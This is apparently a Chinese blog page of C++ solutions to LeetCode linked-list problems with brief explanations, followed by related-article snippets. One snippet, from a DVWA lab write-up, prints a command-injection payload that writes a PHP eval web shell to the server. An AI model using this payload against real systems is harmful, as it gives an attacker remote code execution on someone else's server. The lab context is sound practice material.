力扣hot100——链表

160. 相交链表

class Solution {
public:ListNode *getIntersectionNode(ListNode *headA, ListNode *headB) {set<ListNode*> s;ListNode* h = headA;while (h != NULL) {s.insert(h);h = h->next;}h = headB;while (h != NULL){if (s.find(h) != s.end()) {return h;}h = h->next;}return NULL;}
};

set存地址,模拟

 206. 反转链表

class Solution {
public:ListNode* ans;void dfs(ListNode* pre, ListNode* now) {if (now->next == NULL) {now->next = pre;ans = now;return ;}dfs(now, now -> next);now->next = pre;}ListNode* reverseList(ListNode* head) {if (head == NULL) return NULL;if (head -> next == NULL) return head;dfs(head, head->next);head->next = NULL;return ans;}
};

 递归模拟,注意head->next 要修改成 NULL 避免死循环

 234. 回文链表

class Solution {
public:bool isPalindrome(ListNode* head) {vector<int> a;while (head != NULL) {a.push_back(head->val);head = head->next;}for (int i = 0, j = a.size() - 1; i < j; i++, j--) {if (a[i] != a[j]) return false;}return true;}
};

 模拟

 141. 环形链表

class Solution {
public:bool hasCycle(ListNode* head) {while (head != NULL) {if (head->val == 100001) return true;head->val = 100001;head = head->next;}return false;}
};

修改val做标记

142. 环形链表 II

class Solution {
public:ListNode* detectCycle(ListNode* head) {set<ListNode*> s;while (head != NULL) {if (s.count(head)) return head;s.insert(head);head = head->next;}return NULL;}
};

 set模拟

21. 合并两个有序链表

class Solution {
public:ListNode* mergeTwoLists(ListNode* list1, ListNode* list2) {if (list1 == NULL) return list2;if (list2 == NULL) return list1;ListNode* ans = new ListNode();if (list1->val <= list2->val) ans = list1;else ans = list2;ListNode* h = new ListNode();while (list1 || list2) {if (!list1) {h->next = list2;list2 = list2->next;}else if (!list2) {h->next = list1;list1 = list1->next;}else {if (list1->val <= list2->val) {h->next = list1;list1 = list1->next;}else {h->next = list2;list2 = list2->next;}}h = h->next;}return ans;}
};

双指针模拟

 2. 两数相加

class Solution {
public:ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {ListNode* h = new ListNode(0);ListNode* ans = h;int t = 0;while (l1 || l2) {ListNode* now = new ListNode(0);if (!l1) {int x = l2->val + t;now->val = x % 10;t = x / 10;l2 = l2->next;}else if (!l2) {int x = l1->val + t;now->val = x % 10;t = x / 10;l1 = l1->next;}else {int x = l1->val + l2->val + t;now->val = x % 10;t = x / 10;l1 = l1->next;l2 = l2->next;}h->next = now;h = h->next;}if (t) {h->next = new ListNode(t);}return ans->next;}
};

 双指针模拟

19. 删除链表的倒数第 N 个结点

class Solution {
public:int dfs(ListNode* now, int n) {if (now == NULL) return 0;int v = dfs(now->next, n) + 1;if (v == n + 1) {now->next = now->next->next;}return v;}ListNode* removeNthFromEnd(ListNode* head, int n) {int v = dfs(head, n);if (v == n) {head = head->next;}return head;}
};

dfs求链表层数,模拟

 24. 两两交换链表中的节点

class Solution {
public:ListNode* swapPairs(ListNode* head) {if (head == NULL || head->next == NULL) return head;ListNode* ans = head->next;ListNode* l1 = head, * l2 = head->next;ListNode* pre = new ListNode(0, l1);while (l1 && l2) {pre->next = l2;l1->next = l2->next;l2->next = l1;swap(l1, l2);pre = l2;l1 = l2->next;if (l2->next == NULL) break;l2 = l2->next->next;}return ans;}
};

 模拟

25. K 个一组翻转链表

class Solution {
public:ListNode* reverseKGroup(ListNode* head, int k) {ListNode* dummy = new ListNode(0, head);ListNode* groupPre = dummy;while (true) {int kth = k;ListNode* cur = groupPre;while (kth && cur) {kth--;cur = cur->next;}if (!cur) break;ListNode* groupNext = cur->next;ListNode* pre = groupNext;cur = groupPre->next;ListNode* tmp = NULL;while (cur != groupNext) {tmp = cur->next;cur->next = pre;pre = cur;cur = tmp;}tmp = groupPre->next;groupPre->next = pre;groupPre = tmp;}return dummy->next;}
};

 四个指针,groupPre、groupNext、pre、cur模拟

 138. 随机链表的复制

class Solution {
public:Node* copyRandomList(Node* head) {Node* tmp = head;Node* dummy = new Node(0);dummy->next = head;Node* pre = dummy;map<Node*, Node*> mp;while (head) {Node* cur = new Node(head->val);pre->next = cur;mp[head] = cur;pre = cur;head = head->next;}head = tmp;tmp = dummy->next;while (head) {tmp->random = mp[head->random];tmp = tmp->next;head = head->next;}return dummy->next;}
};

 map从源地址映射到新地址

148. 排序链表

class Solution {
public:ListNode* sortList(ListNode* head) {auto length = [](ListNode* head)->int {int ans = 0;while (head) {ans++;head = head->next;}return ans;};auto spiltList = [](ListNode* head, int step) -> ListNode* {ListNode* cur = head;for (int i = 0; i < step - 1 && cur; i++) {cur = cur->next;}if (!cur || cur->next == NULL) {return NULL;}ListNode* next_head = cur->next;cur->next = NULL;return next_head;};auto mergeList = [](ListNode* head1, ListNode* head2) -> pair<ListNode*, ListNode*> {ListNode* dummy = new ListNode(0);ListNode* cur = dummy;while (head1 && head2) {if (head1->val <= head2->val) {cur->next = head1;head1 = head1->next;}else {cur->next = head2;head2 = head2->next;}cur = cur->next;}while (head1) {cur->next = head1;head1 = head1->next;cur = cur->next;}while (head2) {cur->next = head2;head2 = head2->next;cur = cur->next;}return { dummy->next, cur };};int n = length(head);ListNode* dummy = new ListNode(0, head);for (int i = 2; i <= n; i *= 2) {ListNode* new_list_tail = dummy;ListNode* cur = dummy->next;while (cur) {ListNode* head1 = cur;ListNode* head2 = spiltList(head1, i);cur = spiltList(head2, i);auto [head, tail] = mergeList(head1, head2);new_list_tail->next = head;new_list_tail = tail;}}return dummy->next;}
};

迭代法归并排序

spiltList是断开链表并返回它的头节点

mergeList是合并两个链表并返回新链表的头尾节点

 23. 合并 K 个升序链表

class Solution {
public:ListNode* mergeKLists(vector<ListNode*>& lists) {ListNode* dummy = new ListNode();multiset<pair<int, ListNode*>> s;for (auto list : lists) {if (list) s.insert({ list->val, list });}ListNode* cur = dummy;while (s.size()) {auto it = s.begin();auto [x, list] = *it;s.erase(it);cur->next = list;cur = cur->next;list = list->next;if (list) {s.insert({ list->val, list });}}return dummy->next;}
};

 优先队列模拟

146. LRU 缓存

class LRUCache {
public:int capacity = 0;int size = 0;unordered_map<int, int> mp;unordered_map<int, int> cnt;queue<int> q;LRUCache(int capacity) {this->capacity = capacity;}   int get(int key) {if (!cnt[key]) return -1;cnt[key]++;q.push(key);return mp[key];}void put(int key, int value) {if (size < capacity) {q.push(key);if (!cnt[key]) size++;cnt[key]++;}else {q.push(key);if (!cnt[key]) {while (true) {int x = q.front();q.pop();cnt[x]--;if (!cnt[x]) {break;}        }}cnt[key]++;}mp[key] = value;}
};

自己实现了一个链表结构,用双向链表维护

对于LRU队列:定义一个计时器,每加入或者访问一个元素,直接将其加入到队尾,将其计数+1。每删除一个元素,从队头开始一直删除,每次删除其对应计数-1,直到删除后它的计数变成0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66225.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Qt打包为exe文件

个人学习笔记 选择release 进入项目文件夹&#xff0c;查看releas生成的文件 releas文件路径 进入release看到exe文件&#xff0c;但是无法执行 将exe文件单独放到一个文件夹内 选择MinGW 用CD 进入存放exe文件的路径&#xff0c;输入下面指令 cd J:\C\Qt\test4-3-1 windeploy…

VScode怎么重启

原文链接&#xff1a;【vscode】vscode重新启动 键盘按下 Ctrl Shift p 打开命令行&#xff0c;如下图&#xff1a; 输入Reload Window&#xff0c;如下图&#xff1a;

Web安全 - “Referrer Policy“ Security 头值不安全

文章目录 概述原因分析风险说明Referrer-Policy 头配置选项1. 不安全的策略no-referrer-when-downgradeunsafe-url 2. 安全的策略no-referreroriginorigin-when-cross-originsame-originstrict-originstrict-origin-when-cross-origin 推荐配置Nginx 配置示例 在 Nginx 中配置 …

Hyperbolic dynamics

http://www.scholarpedia.org/article/Hyperbolic_dynamics#:~:textAmong%20smooth%20dynamical%20systems%2C%20hyperbolic%20dynamics%20is%20characterized,semilocal%20or%20even%20global%20information%20about%20the%20dynamics. 什么是双曲动力系统&#xff1f; A hy…

基于SpringBoot在线竞拍平台系统功能实现十五

一、前言介绍&#xff1a; 1.1 项目摘要 随着网络技术的飞速发展和电子商务的普及&#xff0c;竞拍系统作为一种新型的在线交易方式&#xff0c;已经逐渐深入到人们的日常生活中。传统的拍卖活动需要耗费大量的人力、物力和时间&#xff0c;从组织拍卖、宣传、报名、竞拍到成…

Ubuntu 搭建SVN服务

目录 ​ 1、安装SVN服务端 2、创建SVN版本库 3、修改SVN配置svnserve.conf 3.1 配置文件介绍 3.2 svnserve.conf配置 3.3 authz配置设置用户读写权限 3.4 passwd配置 用户名密码 4、启动SVN服务 4.1 配置开机启动 1、安装SVN服务端 sudo apt-get install subversion…

DataV数据可视化

阿里云 DataV 是一个强大的数据可视化工具&#xff0c;可以帮助用户通过创建丰富的图表、仪表盘、地图和互动视图&#xff0c;将复杂的数据转化为易于理解和分析的可视化信息。DataV主要用于大数据和实时数据的展示&#xff0c;可以帮助企业和个人更直观地理解数据背后的含义&a…

电子电气架构 --- 整车整车网络管理浅析

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 所谓鸡汤,要么蛊惑你认命,要么怂恿你拼命,但都是回避问题的根源,以现象替代逻辑,以情绪代替思考,把消极接受现实的懦弱,伪装成乐观面对不幸的…

面试题解,Java中的“对象”剖析

一、说一说JVM中对象的内存布局&#xff1f;new一个对象到底占多大内存&#xff1f; 话不多说&#xff0c;看下图&#xff0c;对象的内存布局图 一个对象的内存布局主要由三部分组成&#xff1a;对象头&#xff08;Object Header&#xff09;、实例数据&#xff08;Instance D…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

MySQL(五)MySQL图形化工具-Navicat

1. MySQL图形化工具-Navicat Navicat是一套快速、可靠的数据库管理工具&#xff0c;Navicat是以直觉化的图形用户界面而建的&#xff0c;可以兼容多种数据库&#xff0c;支持多种操作系统。   Navicat for MySQL是一款强大的 MySQL 数据库管理和开发工具&#xff0c;它为专业…

非关系型数据库和关系型数据库的区别

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

信息科技伦理与道德1:绪论

1 问题描述 1.1 信息科技的进步给人类生活带来的是什么呢&#xff1f; 功能&#xff1f;智能&#xff1f;陪伴&#xff1f;乐趣&#xff1f;幸福&#xff1f; 基于GPT-3的对话Demo DeepFake 深伪技术&#xff1a;通过神经网络技术进行大样本学习&#xff0c;将个人的声音、面…

iOS 11 中的 HEIF 图像格式 - 您需要了解的内容

HEIF&#xff0c;也称为高效图像格式&#xff0c;是iOS 11 之后发布的新图像格式&#xff0c;以能够在不压缩图像质量的情况下以较小尺寸保存照片而闻名。换句话说&#xff0c;HEIF 图像格式可以具有相同或更好的照片质量&#xff0c;同时比 JPEG、PNG、GIF、TIFF 占用更少的设…

windows远程桌面无法连接,报错:“由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系”

windows远程桌面无法连接&#xff0c;报错&#xff1a;“由于没有远程桌面授权服务器可以提供许可证&#xff0c;远程会话被中断。请跟服务器管理员联系” 问题描述&#xff1a;解决方法&#xff1a;无法删除条目解决如下&#xff1a;正常激活详见&#xff1a;[RDS远程服务激活…

Tesseract5.4.0自定义LSTM训练

准备jTessBoxEditor&#xff0c;然后配置环境变量。 1、将图片转换成tif格式的&#xff0c;这里需要用画图工具另存为&#xff1b; 2、生成box文件 执行命令&#xff1a; tesseract agv.normal.exp1.tif agv.normal.exp1 -l eng --psm 6 batch.nochop makebox 关于box文件…

Oracle Dataguard(主库为 Oracle 11g 单节点)配置详解(1):Oracle Dataguard 工作原理

Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle Dataguard 工作原理 目录 Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle …

Windows系统安装Docker Desktop

文章目录 注意事项安装步骤官网下载软件安装到其它盘符操作(如果就想安装到C盘可以跳过这个步骤, 直接执行文件)等待出现软件安装界面Windows系统的配置软件的一些必要设置(以下设置需要点击apply才能生效&#xff0c;如果点不了&#xff0c;那就是安装后&#xff0c;出现了错误…

从零开始RTSP协议的实时流媒体拉流(pull)的设计与实现(一)

此文为系列文章&#xff0c;此系列主要讲解RTSP客户端的拉流及播放&#xff0c;文章持续更新&#xff0c;会从rtsp的基本协议讲起&#xff0c;如何一步步实现音视频的拉流过程&#xff0c;包括一系列涉及到的协议&#xff0c;rtsp&#xff0c;sdp&#xff0c; rtp&#xff08;本…

特殊车辆检测数据集VOC+YOLO格式2730张3类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;2730 标注数量(xml文件个数)&#xff1a;2730 标注数量(txt文件个数)&#xff1a;2730 …